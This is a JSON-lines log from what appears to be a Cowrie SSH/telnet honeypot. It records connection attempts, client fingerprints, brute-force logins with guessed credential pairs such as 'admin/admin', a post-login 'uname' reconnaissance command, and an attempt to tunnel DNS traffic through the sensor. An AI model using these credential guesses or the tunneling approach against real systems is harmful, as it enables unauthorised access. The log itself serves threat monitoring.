{"eventid":"cowrie.session.connect","src_ip":"115.50.232.147","src_port":54335,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccbc4adcdd41","protocol":"telnet","message":"New connection: 115.50.232.147:54335 (159.203.135.109:23) [session: ccbc4adcdd41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:35:39.441784Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:35:39.596628Z","src_ip":"122.168.194.41","session":"2c60de553f41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38318,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff0a2abf05ce","protocol":"telnet","message":"New connection: 128.199.8.54:38318 (159.203.135.109:23) [session: ff0a2abf05ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:35:44.782965Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":29382,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f865e617bc0","protocol":"telnet","message":"New connection: 212.55.149.117:29382 (10.17.0.5:23) [session: 0f865e617bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:00.622918Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33212,"dst_ip":"159.203.135.109","dst_port":23,"session":"da5878e091c4","protocol":"telnet","message":"New connection: 128.199.8.54:33212 (159.203.135.109:23) [session: da5878e091c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:07.993008Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34228,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7b401313df6","protocol":"telnet","message":"New connection: 128.199.8.54:34228 (159.203.135.109:23) [session: a7b401313df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:08.498903Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33860,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a6ce3ddedcd","protocol":"telnet","message":"New connection: 128.199.8.54:33860 (159.203.135.109:23) [session: 2a6ce3ddedcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:09.351939Z"}
{"eventid":"cowrie.session.closed","duration":31.40009903907776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:10.841786Z","src_ip":"115.50.232.147","session":"ccbc4adcdd41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.354960680007935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:16.137817Z","src_ip":"128.199.8.54","session":"ff0a2abf05ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58816,"dst_ip":"159.203.135.109","dst_port":23,"session":"873fd6484b0c","protocol":"telnet","message":"New connection: 128.199.8.54:58816 (159.203.135.109:23) [session: 873fd6484b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:21.438292Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42816,"dst_ip":"159.203.135.109","dst_port":23,"session":"95ac3bd9ce91","protocol":"telnet","message":"New connection: 128.199.8.54:42816 (159.203.135.109:23) [session: 95ac3bd9ce91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:28.983290Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49820,"dst_ip":"159.203.135.109","dst_port":23,"session":"25bf5cf964d7","protocol":"telnet","message":"New connection: 128.199.8.54:49820 (159.203.135.109:23) [session: 25bf5cf964d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:31.658828Z"}
{"eventid":"cowrie.session.closed","duration":60.503947496414185,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:33.369378Z","src_ip":"212.55.149.117","session":"4b946b81b8a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":53282,"dst_ip":"159.203.135.109","dst_port":22,"session":"086e5ab76ca0","protocol":"ssh","message":"New connection: 122.168.194.41:53282 (159.203.135.109:22) [session: 086e5ab76ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:35.401580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:35.407579Z","src_ip":"122.168.194.41","session":"086e5ab76ca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:35.686305Z","src_ip":"122.168.194.41","session":"086e5ab76ca0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"developer12","message":"login attempt [ubuntu/developer12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:36.801390Z","src_ip":"122.168.194.41","session":"086e5ab76ca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:38.084944Z","src_ip":"122.168.194.41","session":"086e5ab76ca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.02877473831177,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:43.021662Z","src_ip":"128.199.8.54","session":"da5878e091c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.346572399139404,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:43.698413Z","src_ip":"128.199.8.54","session":"2a6ce3ddedcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.910969972610474,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:45.409752Z","src_ip":"128.199.8.54","session":"a7b401313df6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48674,"dst_ip":"159.203.135.109","dst_port":23,"session":"213cdad7f649","protocol":"telnet","message":"New connection: 128.199.8.54:48674 (159.203.135.109:23) [session: 213cdad7f649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:46.816767Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56960,"dst_ip":"159.203.135.109","dst_port":23,"session":"eef93e273204","protocol":"telnet","message":"New connection: 128.199.8.54:56960 (159.203.135.109:23) [session: eef93e273204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:50.198282Z"}
{"eventid":"cowrie.session.closed","duration":33.766202211380005,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:36:55.204381Z","src_ip":"128.199.8.54","session":"873fd6484b0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.85332942008972,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:03.836488Z","src_ip":"128.199.8.54","session":"95ac3bd9ce91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.87103867530823,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:06.529734Z","src_ip":"128.199.8.54","session":"25bf5cf964d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57960,"dst_ip":"159.203.135.109","dst_port":23,"session":"07f42dc73b31","protocol":"telnet","message":"New connection: 128.199.8.54:57960 (159.203.135.109:23) [session: 07f42dc73b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:19.586159Z"}
{"eventid":"cowrie.session.closed","duration":34.44507050514221,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:21.261710Z","src_ip":"128.199.8.54","session":"213cdad7f649","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35688,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cbfac0e052a","protocol":"telnet","message":"New connection: 128.199.8.54:35688 (159.203.135.109:23) [session: 8cbfac0e052a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:23.661861Z"}
{"eventid":"cowrie.session.closed","duration":35.70811128616333,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:25.906289Z","src_ip":"128.199.8.54","session":"eef93e273204","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44628,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e9c7aef97bd","protocol":"ssh","message":"New connection: 2.57.122.208:44628 (159.203.135.109:22) [session: 8e9c7aef97bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:30.803353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:31.164161Z","src_ip":"2.57.122.208","session":"8e9c7aef97bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:31.168319Z","src_ip":"2.57.122.208","session":"8e9c7aef97bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53130,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a1369a4f710","protocol":"telnet","message":"New connection: 128.199.8.54:53130 (159.203.135.109:23) [session: 0a1369a4f710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:31.442425Z"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:32.630368Z","src_ip":"2.57.122.208","session":"8e9c7aef97bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":59562,"dst_ip":"159.203.135.109","dst_port":22,"session":"27b352d93d31","protocol":"ssh","message":"New connection: 122.168.194.41:59562 (159.203.135.109:22) [session: 27b352d93d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:32.733116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:32.737611Z","src_ip":"122.168.194.41","session":"27b352d93d31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:33.014636Z","src_ip":"122.168.194.41","session":"27b352d93d31","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:33.250592Z","src_ip":"2.57.122.208","session":"8e9c7aef97bd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:33.253768Z","src_ip":"2.57.122.208","session":"8e9c7aef97bd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:33.426251Z","src_ip":"2.57.122.208","session":"8e9c7aef97bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:33.431524Z","src_ip":"2.57.122.208","session":"8e9c7aef97bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:34.153236Z","src_ip":"122.168.194.41","session":"27b352d93d31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:35.434717Z","src_ip":"122.168.194.41","session":"27b352d93d31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51210,"dst_ip":"159.203.135.109","dst_port":23,"session":"bad45430b5fa","protocol":"telnet","message":"New connection: 128.199.8.54:51210 (159.203.135.109:23) [session: bad45430b5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:45.453988Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14494,"dst_ip":"10.17.0.5","dst_port":22,"session":"57cd4d03e756","protocol":"ssh","message":"New connection: 87.251.64.176:14494 (10.17.0.5:22) [session: 57cd4d03e756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:51.939265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:51.944542Z","src_ip":"87.251.64.176","session":"57cd4d03e756","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:52.040899Z","src_ip":"87.251.64.176","session":"57cd4d03e756","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:52.394214Z","src_ip":"87.251.64.176","session":"57cd4d03e756","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:52.493862Z","session":"57cd4d03e756","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:52.603082Z","src_ip":"87.251.64.176","session":"57cd4d03e756","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:52.702180Z","src_ip":"87.251.64.176","session":"57cd4d03e756","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.41676735877991,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:55.002659Z","src_ip":"128.199.8.54","session":"07f42dc73b31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.93551540374756,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:56.597254Z","src_ip":"128.199.8.54","session":"8cbfac0e052a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51450,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d779fce0112","protocol":"telnet","message":"New connection: 128.199.8.54:51450 (159.203.135.109:23) [session: 8d779fce0112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:37:58.140712Z"}
{"eventid":"cowrie.session.closed","duration":120.00302410125732,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:00.625842Z","src_ip":"212.55.149.117","session":"0f865e617bc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.222","src_port":60750,"dst_ip":"159.203.135.109","dst_port":22,"session":"7eb923be9b7d","protocol":"ssh","message":"New connection: 65.49.1.222:60750 (159.203.135.109:22) [session: 7eb923be9b7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:04.950788Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:04.955707Z","src_ip":"65.49.1.222","session":"7eb923be9b7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:04.964242Z","src_ip":"65.49.1.222","session":"7eb923be9b7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.91256880760193,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:07.354866Z","src_ip":"128.199.8.54","session":"0a1369a4f710","protocol":"telnet"}
